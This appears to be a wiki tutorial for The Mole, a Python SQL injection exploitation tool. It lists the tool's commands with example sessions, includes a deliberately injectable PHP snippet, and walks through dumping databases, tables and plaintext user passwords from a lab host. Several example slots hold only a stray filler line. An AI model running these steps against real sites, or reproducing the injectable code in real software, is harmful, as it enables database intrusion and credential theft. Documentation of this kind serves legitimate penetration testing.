TheMole
Description
The Mole is a python based automatic SQL injection exploitation tool developed by Nasel. Only by providing a vulnerable URL and a valid string on the site it can detect the injection and exploit it, either by using the union technique or a boolean query based technique. It currently supports MySQL, SQL Server and Oracle databases.
Installation
Environment
The following has been tested on an Ubuntu 11.10 box.
Prerequisites
$ sudo apt-get install python3 python3-lxml
Installation of the Mole
From git
$ git clone git://git.code.sf.net/p/themole/code themole-code
From tarball
$ cd /data/src/ $ wget http://sourceforge.net/projects/themole/files/themole-0.2.6/themole-0.2.6-lin-src.tar.gz/download $ tar xzvf themole-0.2.6-lin-src.tar.gz $ cd themole-0.2.6/
Usage
Syntax
Usage ./mole.py [PARAMS]
Options
- -u <URL>
- The url which contains a sqli vulnerability.
- -n <NEEDLE>
- The string which is printed on good queries.
- -t <n>
- THREADS: The amount of threads to run. Defaults to 4.
- -p <PARAM>
- Sets the GET vulnerable param(URL must be provided).
Commands
clear
- Description
- Clear the screen.
- Syntax
- clear
columns
- Description
- Show the columns of a table from a given database and table
- Syntax
- columns <database> <table>
- Example
#> columns test users +-------------------------+ | Columns for table users | +-------------------------+ | password | | username | +-------------------------+
cookie
- Description
- Gets/sets a cookie to be sent in each HTTP request's headers.
- Syntax
- cookie <cookie>
- Example
#> cookie test='test' #> cookie test='test'
dbinfo
- Description
- Show database information (user, version, database)
- Syntax
- dbinfo
- Example
#> dbinfo User: test@localhost Version: 5.1.58-1ubuntu1 Database: test
delay
- Description
- Gets/Sets the delay (in seconds) between requests. Use this if the server contains some kind of IPS system that returns HTTP error when executing lots of requests in a short amount of time. Note that DELAY can be a floating point number, so you can set "0.5" as the delay.
- Syntax
- delay <delay>
- Example
#> delay 10
encoding
Thank you for your comprehension.
- Description
- Syntax
- encoding <encoding>
- Example
exit
- Description
- Quit the application
- Syntax
- exit
export
- Description
- Exports the current mole configuration and the dumped schema's structures for later usage (see import function)
- Syntax
- export <format> <file>
- supported format is: xml
- Example
#> export xml test.xml [+] Exportation successful
Here is an example of export (XML format):
<themole> <config> <mole_config needle="YWRtaW4=" mode="dW5pb24=" prefix="" end="" separator="IA==" comment="Iw==" parenthesis="MA==" query_columns="Mw=="/> <dbms_mole type="TXlzcWw="> <finger query="gANdcQAoWAEAAAAwcQFYAQAAADFxAlgBAAAAMnEDZS4=" to_search="gANdcQAoWAMAAAA3MTRxAVgDAAAANzE1cQJYAwAAADcxNnEDZS4=" is_string_query="MQ=="/> </dbms_mole> <data_dumper type="U3RyaW5nVW5pb25EYXRhRHVtcGVy"/> <connection delay="MA==" method="R0VU" headers="gAN9cQAoWAoAAABDb25uZWN0aW9ucQFYCgAAAGtlZXAtYWxpdmVxAlgEAAAASG9zdHEDWAwAAAAxOTIuMTY4LjEuNDFxBFgPAAAAQWNjZXB0LUxhbmd1YWdlcQVYBQAAAGVuLXVzcQZYDwAAAEFjY2VwdC1FbmNvZGluZ3EHWAgAAABpZGVudGl0eXEIWA0AAABDYWNoZS1Db250cm9scQlYCQAAAG1heC1hZ2U9MHEKWAoAAABLZWVwLUFsaXZlcQtYAwAAADMwMHEMWAoAAABVc2VyLUFnZW50cQ1YLgAAAE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDUuNTsgV2luZG93cyBOVClxDnUu" url="aHR0cDovLzE5Mi4xNjguMS40MS8/aWQ9MQ==" post_parameters="" vulnerable_param="aWQ=" vulnerable_param_method="R0VU"/> </config> <data_schema> <schema name="dGVzdA=="> <table name="dXNlcnM="> <column name="dXNlcm5hbWU="/> <column name="cGFzc3dvcmQ="/> <column name="aWQ="/> </table> </schema> <schema name="aW5mb3JtYXRpb25fc2NoZW1h"/> </data_schema> </themole>
fetch
- Description
- Recursively fetches the structure of all schemas or just of the SCHEMA if used with tables.
- Syntax
- fetch schemas|tables <SCHEMA>
- Example
#> fetch schemas [+] Rows: 2 [*] Dumped 2/2 rows. +--------------------+ | Databases | +--------------------+ | information_schema | | test | +--------------------+ #> fetch tables test [+] Rows: 1 [*] Dumped 1/1 rows. +--------+ | Tables | +--------+ | users | +--------+
find_tables
- Description
-
- Bruteforce to find if the TABLES given as parameters are part of the SCHEMA. Useful for MySQL version 4 where no information_schema available.
- Syntax
- find_tables <SCHEMA> <TABLE1> [<TABLE2>, ...]
- Example
#> find_tables test user users admin [i] Trying table user [i] Trying table users [+] Table users exists. [i] Trying table admin
find_tables_like
- Description
- Perform a query to extract all
- Syntax
- find_tables_like <SCHEMA> <FILTER>
- Example
#> find_tables_like information_schema %PRIV% [+] Rows: 4 [*] Dumped 4/4 rows. +-------------------+ | Tables | +-------------------+ | COLUMN_PRIVILEGES | | SCHEMA_PRIVILEGES | | TABLE_PRIVILEGES | | USER_PRIVILEGES | +-------------------+
find_users_table
- Description
- Bruteforce to find tables in SCHEMA that match common names for tables where usernames are stored.
- Syntax
- find_users_table <SCHEMA>
- Example
#> find_users_table test [i] Trying table adm [i] Trying table admin [i] Trying table admin_users [i] Trying table admins [i] Trying table administrator [i] Trying table administrador [i] Trying table administradores [i] Trying table client [i] Trying table clients [i] Trying table jos_users [i] Trying table login [i] Trying table logins [i] Trying table user [i] Trying table user_admin [i] Trying table users [+] Table users exists. [i] Trying table usuario [i] Trying table usuarios [i] Trying table usuarios_admin [i] Trying table usr [i] Trying table usrs [i] Trying table wp_users
headers
- Description
- Sets/removes the given HTTP header. Use this to set the User-Agent, cookie, or whatever additional header you want to send.
- Syntax
- headers <set|del> <HEADER> [VALUE]
- Example
#> headers set User-Agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0.1) Gecko/20100101 Firefox/8.0.1' #> headers Host -> 192.168.1.41 Accept-Language -> en-us Accept-Encoding -> identity Keep-Alive -> 300 User-Agent -> 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0.1) Gecko/20100101 Firefox/8.0.1' Connection -> keep-alive Cache-Control -> max-age=0
htmlfilter
- Description
- Adds/removes an html filter.
Html filters are applied to the data retrieved from the server. In some cases, invalid HTML can make The Mole miss the injection, so you might want to use a regular expression in order to fix it.
- Syntax
- htmlfilter <add|del> <FILTER> [ARGS]
- Example
Thank you for your comprehension.
import
- Description
-
- Imports a previously exported mole configuration and dumped schema's structures.
- Currently supported format: xml
- Also see export
- Syntax
- import <TYPE> [<ARG1>, ...]
- Example
#> import xml test.xml [+] Importation successful
injectable_field
Thank you for your comprehension.
- Description
- Syntax
- injectable_field (GET | POST) <INJECTABLE_FIELD>
- Example
method
- Description
- Sets the method of the request to GET or POST. In case POST is given the param_post string will be used as the POST parameters. If injectable_field is given then the mole will use this parameter to inject.
- Syntax
- method (GET|POST <param_post> ) [injectable_field]
- Example
Thank you for your comprehension.
mode
- Description
- Sets the SQL Injection exploitation method. By default, union mode is used. If the injection cannot be exploited using this mode, change it to blind using "mode blind" and try again. Nothing else has to be configured to go from union to blind mode, as long as you have already set the URL and needle.
- Syntax
- mode <union|blind>
- Example
#> mode union #> schemas [i] Trying injection using 0 parenthesis. [i] Trying separator: "'" [i] Trying separator: """ [i] Trying separator: " " [+] Found separator: " " [i] Trying DBMS Mysql [+] Found DBMS: Mysql [i] Trying injection using 0 parenthesis. [i] Trying injection using comment: # [+] Found comment delimiter: "#" [+] Query columns count: 3 [+] Trying finger 1/2 [+] Injectable fields found: [1, 2, 3] [i] Trying to inject in field 1 [+] Found injectable field: 1 [+] Using string union technique. [+] Rows: 2 [*] Dumped 2/2 rows. +--------------------+ | Databases | +--------------------+ | information_schema | | test | +--------------------+ #> mode blind #> schemas [i] Trying injection using 0 parenthesis. [i] Trying separator: "'" [i] Trying separator: """ [i] Trying separator: " " [+] Found separator: " " [i] Trying DBMS Mysql [+] Found DBMS: Mysql [+] Found row count: 2 [+] Guessing length for the next 2 records. [+] Guessed length: 18 information_schema [+] Guessed length: 4 test +--------------------+ | Databases | +--------------------+ | information_schema | | test | +--------------------+
needle
- Description
- Gets/sets the NEEDLE. This can also be provided as an argument to the application, using the "-n" parameter.
- Syntax
- needle [NEEDLE]
- Example
- Both examples produce the same result
- Method #1: url and needle provided as parameters to the Mole:
# ./mole.py -u 'http://192.168.1.41/?id=1' -n 'admin'
- Method #2: url and needle provided in the application
# ./mole.py #> url http://192.168.1.41/?id=1 #> needle admin
output
- Description
- Sets the output style. When pretty output mode is enabled (this is the default), queries result will be printed on a tidy box, using column names and each row will be aligned. The drawback is that this method requires the whole query to finish before printing results, so you might want to use "plain" output if you seek immediate results. In contrast, plain mode prints each result as soon as it is recovered.
- Syntax
- output <pretty|plain>
- Example
#> output pretty #> query test users id,username,password [+] Rows: 3 [*] Dumped 3/3 rows. +----------------------------+ | id | username | password | +----------------------------+ | 1 | admin | P455w0rd | | 2 | dupuis | dupuis123 | | 3 | balantino | 20111206 | +----------------------------+ #> output plain #> query test users id,username,password [+] Rows: 3 [*] Dumped 3/3 rows. id, username, password: 1, admin, P455w0rd 2, dupuis, dupuis123 3, balantino, 20111206
prefix
- Description
- Gets/sets the prefix for each request. The prefix will be appended to the URL's vulnerable parameter on each request.
- Syntax
- prefix [PREFIX]
- Example
Thank you for your comprehension.
qfilter
- Description
- Add/configure/remove query filters. Query filters are applied to each query before appending it to the vulnerable parameter. So far, these can be used to either bypass an IPS/IDS or to apply a filter when SQL Server requires you to change the collation of the retrieved fields.
- Syntax
- qfilter <add|config|del> <FILTER> [ARGS]
- Example
Thank you for your comprehension.
query
- Description
- Perform a query to fetch every column given, using the table TABLE located in the schema SCHEMA. A "where condition" can be given. Note that The Mole will take care of any string conversions required on the condition. Therefore, you can use string literals(using single quotes) even if the server escapes them. Note that no caching is performed when executing this command.
- Syntax
- query <SCHEMAgt; <TABLE> COLUMN1[,COLUMN2[,COLUMN3[...]]] [where COND]
- Example
#> query test users id,username,password [+] Rows: 3 [*] Dumped 3/3 rows. +----------------------------+ | id | username | password | +----------------------------+ | 1 | admin | P455w0rd | | 2 | dupuis | dupuis123 | | 3 | balantino | 20111206 | +----------------------------+
readfile
- Description
- Read the FILE from the remote server (if possible) and print it
- Syntax
- readfile <FILE>
- Example
Thank you for your comprehension.
recursive
- Description
- Recursively fetches the structure of all schemas or just of the SCHEMA if used with tables.
- Syntax
- recursive (schemas|tables <SCHEMA>)
- Example
schemas
- Description
- Retrieves the schema of the database.
- Syntax
- schemas
- Example
#> schemas [i] Trying injection using 0 parenthesis. [i] Trying separator: "'" [+] Found separator: "'" [i] Trying DBMS Mysql [+] Found DBMS: Mysql [i] Trying injection using 0 parenthesis. [i] Trying injection using comment: # [+] Found comment delimiter: "#" [+] Query columns count: 2 [+] Trying finger 1/2 [+] Injectable fields found: [1, 2] [i] Trying to inject in field 1 [+] Found injectable field: 1 [+] Using string union technique. [+] Rows: 2 [*] Dumped 2/2 rows. +--------------------+ | Databases | +--------------------+ | information_schema | | test | +--------------------+
suffix
- Description
- Gets/sets the suffix for each request. The suffix will be appended after the injection code on the URL's vulnerable parameter.
- Syntax
- suffix [SUFFIX]
- Example
Thank you for your comprehension.
tables
- Description
- Show the table from a given database.
- syntax
- tables <database>
- Example
#> tables test [+] Rows: 1 [*] Dumped 1/1 rows. +--------+ | Tables | +--------+ | users | +--------+
url
- Description
- Gets/sets the URL. If PARAM is given then the injection will be performed on that argument. This can also be provided as an argument to the application, using the "-u" parameter.
- Syntax
- url [URL [PARAM]]
- Example
- Both examples produce the same result
- Method #1: url and needle provided as parameters to the Mole:
# ./mole.py -u 'http://192.168.1.41/?id=1' -n 'admin'
- Method #2: url and needle provided in the application
# ./mole.py #> url http://192.168.1.41/?id=1 #> needle admin
usage
- Description
- Print the usage for the command COMMAND
- Syntax
- usage <COMMAND>
- Example
#> usage url url [URL] [PARAM] #> usage auth auth <BASIC|DIGEST> USERNAME:PASSWORD
verbose
- Description
- Sets the verbose mode on and off. When this mode is on, each request's parameters will be printed out.
- Syntax
- verbose <on|off>
- Example
- Colored lines only appear when verbose is set to on:
Example
Vulnerable code
Given the following vulnerable code:
<?php if(isset($_GET['id'])) { mysql_connect('localhost', 'test', 'test') or die ("Connection failed"); mysql_select_db('test') or die ('Database test not found'); $sql = "select id, username, password from users where id=".$_GET['id']; $result = mysql_query($sql) or die("sql error in $sql"); echo '<table border="1">'; while($row = mysql_fetch_row($result)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td></tr>"; } echo "</table>"; mysql_close(); } else { echo "No user requested"; } ?>
The code above displays the username and password associated to the user provided in the URL (parameter username).
Identification of the vulnerability
Exploitation
Start TheMole
Start the Mole:
# ./mole.py _____ _ ___ ___ _ |_ _| | | \/ | | | | | | |__ ___ | . . | ___ | | ___ | | | '_ \ / _ \ | |\/| |/ _ \| |/ _ \ | | | | | | __/ | | | | (_) | | __/ \_/ |_| |_|\___| \_| |_/\___/|_|\___| Developed by Nasel(http://www.nasel.com.ar). Published under GPLv3. Be efficient and have fun!
Parameters
Set up the parameters:
#> url http://192.168.1.40/?id=1 #> needle admin
Retrieve the schema
#> schemas [i] Trying injection using 0 parenthesis. [i] Trying separator: "'" [i] Trying separator: """ [i] Trying separator: " " [+] Found separator: " " [i] Trying DBMS Mysql [+] Found DBMS: Mysql [i] Trying injection using 0 parenthesis. [i] Trying injection using comment: # [+] Found comment delimiter: "#" [+] Query columns count: 3 [+] Trying finger 1/2 [+] Injectable fields found: [1, 2, 3] [i] Trying to inject in field 1 [+] Found injectable field: 1 [+] Using string union technique. [+] Rows: 2 [*] Dumped 2/2 rows. +--------------------+ | Databases | +--------------------+ | information_schema | | test | +--------------------+
Retrieve the tables
Now that we know the databases, say we want to know the tables in the test database:
#> tables test [+] Rows: 1 [*] Dumped 1/1 rows. +--------+ | Tables | +--------+ | users | +--------+
Table description
We now have the database (test) as well as the table (users). Let's see how the table is structured:
#> columns test users [+] Rows: 2 [*] Dumped 2/2 rows. +-------------------------+ | Columns for table users | +-------------------------+ | password | | username | +-------------------------+
Data
Now that we know the database and tables and columns, we can get the data:
#> query test users id,username,password [+] Rows: 3 [*] Dumped 3/3 rows. +----------------------------+ | id | username | password | +----------------------------+ | 1 | admin | P455w0rd | | 2 | dupuis | dupuis123 | | 3 | balantino | 20111206 | +----------------------------+
Comments
Pearl
23:26, 5 April 2012 (MDT)
Hello sebastien, thank you for your reply.
I do have of course python installed. I have python-2.7.2 for windows.
|